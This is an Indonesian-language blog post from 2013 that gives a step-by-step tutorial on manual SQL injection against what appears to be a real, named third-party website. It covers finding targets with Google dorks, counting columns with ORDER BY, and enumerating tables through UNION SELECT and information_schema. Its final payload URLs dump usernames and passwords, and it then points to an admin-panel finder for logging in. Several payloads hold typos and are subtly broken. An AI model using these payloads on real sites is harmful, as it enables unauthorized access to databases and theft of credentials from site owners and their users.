Rabu, 31 Juli 2013

belajar Sql_inejection manual

Pengertian SQL Injection
  1. SQL injection adalah sebuah aksi hacking yang dilakukan di aplikasi client dengan cara memodifikasi perintah SQL yang ada di memori aplikasi client.
  2. SQL Injection merupakan teknik mengeksploitasi web aplikasi yang didalamnya menggunakan database untuk penyimpanan data.

Sebab terjadinya SQL Injection
  1. Tidak adanya penanganan terhadap karakter – karakter tanda petik satu ’ dan juga karakter double minus -- yang menyebabkan suatu aplikasi dapat disisipi dengan perintah SQL.
  2. Sehingga seorang Hacker menyisipkan perintah SQL kedalam suatu parameter maupun suatu form.


Bug SQL Injection berbahaya ?
  1. Teknik ini memungkinkan seseorang dapat login kedalam sistem tanpa harus memiliki account.
  2. Selain itu SQL injection juga memungkinkan seseorang merubah, menghapus, maupun menambahkan data–data yang berada didalam database.
  3. Bahkan yang lebih berbahaya lagi yaitu mematikan database itu sendiri, sehingga tidak bisa memberi layanan kepada web server.

Apa saja yang diperlukan untuk melakukan SQL Injection ?
  1. Internet Exploler / Browser
  2. PC yang terhubung internet
  3. Program atau software seperti softice
     
    Contoh sintaks SQL Injection
    karakter: ' atau –
    comments: /* atau –  
Ok gan, sekarang kita coba yang realnya dari SQL Injection Cara manualnya, ada beberapa hal yang harus di perhatikan seperti yang udah saya sebutkan di atas, kita akan mencoba step by step. Langsung ajja deeh :D

step 1 :
kita siapkan 1 website yg  lemah sqlnya sebagai target, target bisa di cari dengan bantuan mbah google, kalau nggak salah namanya google dork, atau tool-tool yang lain di luaran sana. 

step 2 :
setelah mendapatkan target, kita pastikan dulu apakah target yg di tuju vuln di sql, caranya dengan menambahkan tanda petik (( ' )), di belekang angka atau di depan angka, atau juga bisa tanda strip (-) tanpa tanda kurung di depan angka, jika error maka web tersebut vuln di sql contoh :       
   www.futuresfins.com/fin-detail.php?id=100'
  www.futuresfins.com/fin-detail.php?id='100
   www.futuresfins.com/fin-detail.php?id=-100

Akhirnya dapat :D
 
step 3 :
karna udah ketemu yg gituan, kita jadi tau, rupanya situs tersebut rentang di SQL, lanjut ke permainan berikutnya, kita mulai mencari jumlah table pada database website tersebut, dengan menggunakan perintah "Order by", langsung deh untuk
mengetahui jumlah table di database yaitu dengan cara melihat awal terjadinya error kembali

Example :

www.futuresfins.com/fin-detail.php?id=100 order by 1-- (tidak terdapat error)
www.futuresfins.com/fin-detail.php?id=100 order by 2-- (tidak terdapat error)
www.futuresfins.com/fin-detail.php?id=100 order by 3-- (tidak terdapat error)
www.futuresfins.com/fin-detail.php?id=100 order by 4-- (tidak terdapat error)
www.futuresfins.com/fin-detail.php?id=100 order by 5-- (tidak terdapat error )
www.futuresfins.com/fin-detail.php?id=100 order by 6-- (tidak terdapat error)
www.futuresfins.com/fin-detail.php?id=100 order by 7-- (tidak terdapat error)
www.futuresfins.com/fin-detail.php?id=100 order by 8-- (tidak terdapat error)
www.futuresfins.com/fin-detail.php?id=100 order by 9-- (tidak terdapat error)
www.futuresfins.com/fin-detail.php?id=100 order by 10-- (tidak terdapat error)
www.futuresfins.com/fin-detail.php?id=100 order by 11-- (tidak terdapat error )   
www.futuresfins.com/fin-detail.php?id=100 order by 12--   (Error)  :D

 

 sekarang kita tau ternyata situs tersebut cuma memiliki 12 table di dalamnya !

Step 4 :
langkah selanjutnya yaitu mengetahui dimana angka-anka yg bisa di buat injaction/tempat kita mamasukkan perintah-perintah selanjutnya, cara agar mengetahui angka-angka tersebut ialah dengan mengganti perintah "order by" dengan "union select",  dan disertai berapa jumlah kolom yg kita temukan tadi dan tanda - di depan angka, jika kita inggin mengetahui nama database dan versi web kita bisa menambah "union select database() dan "union select version().

Example :

dari gambar di atas sudah muncul angka 1 dan 2 nah... :D
itulah yg kita maksud dengan angka yg kita buat memasukkan perintah-perintah selanjutnya.

Cekidot

Step 5:
Sekarang kita coba tahap selanjutnyaa.. memunculkan nama-nama table yg ada di dalam web tersebut dengan menambah perintah "groub_contact(table_name)" dan dan menambah perintah "from+information_schema.tables+where+table_schema=database()" sesudah angka terakhir, sebelum tanda -

Example :



dari gambar tersebut ada table "catagories amilbast, gellery, images dan dll" kita menemukan web di dalamnya tidak ada tabel admin/user maka biasanya user pass admin terletak pada kolom administrator ataus user tinggal padai-pandainya kita mencermati setiap tabel yang kita curigai sebagai tempat user pass admin. 

tahap selanjutnya yaitu mengetahui kolom yang ada pada table user tersebut dengan cara mengganti perintah "table_name" yang ada berada dalam perintah "group_concat (table_name)" dengan perintah "colom_name" menjadi "group_conat )colom_name" dan mengganti perintah "tables" yang berada di perintah information_schema.tables "dengan perintah ".columns" menjadi "information_schema.coluns" juga mengganti perintah "table_schema=database()" dengan perintah "table_name="
  
Step 6:
di step ini kita akan coba membuka table user dengan perintah.
http://www.futuresfins.com/fin-detail,php?=-100UNION SELECT
group_concat(column_name)2,3,4,5,6,7,8,9,10,11from+information_schema.columns+where+table_nama=0x7573657273--

example :

step 7 :
Setelah selesai menampilkan colom user dan password. sekarang kita mencoba colom user dan password lebih dalam , dengan perintah : http://www,futuresfins,com/fin-detail.php?id=-100 UNION SELECT group_concat(0x3a,username,0x3a,password),2,3,4,5,6,7,8,9,10,11 from+users--


nah dengan memasukkan perintah di halaman login website tersebut kita mengetahui nama user dan password, mungkin itu pembelajaran sederhana dari saya , karena di sni saya juga seorang yang baru belajar, Selanjutnya tinggal mencari alaman login website tersebut bisa di gunakan : http://scan.subhashdasyam.com/admin-panel-finder.php

Sekian mngkin dari saya,lebih dan kurang saya mohon maaf :)

thanks buat bg Iyan (region aceh) yang udah ngasih tips & trik SQL injection dlam pelajaran kemarin






0 komentar:

Posting Komentar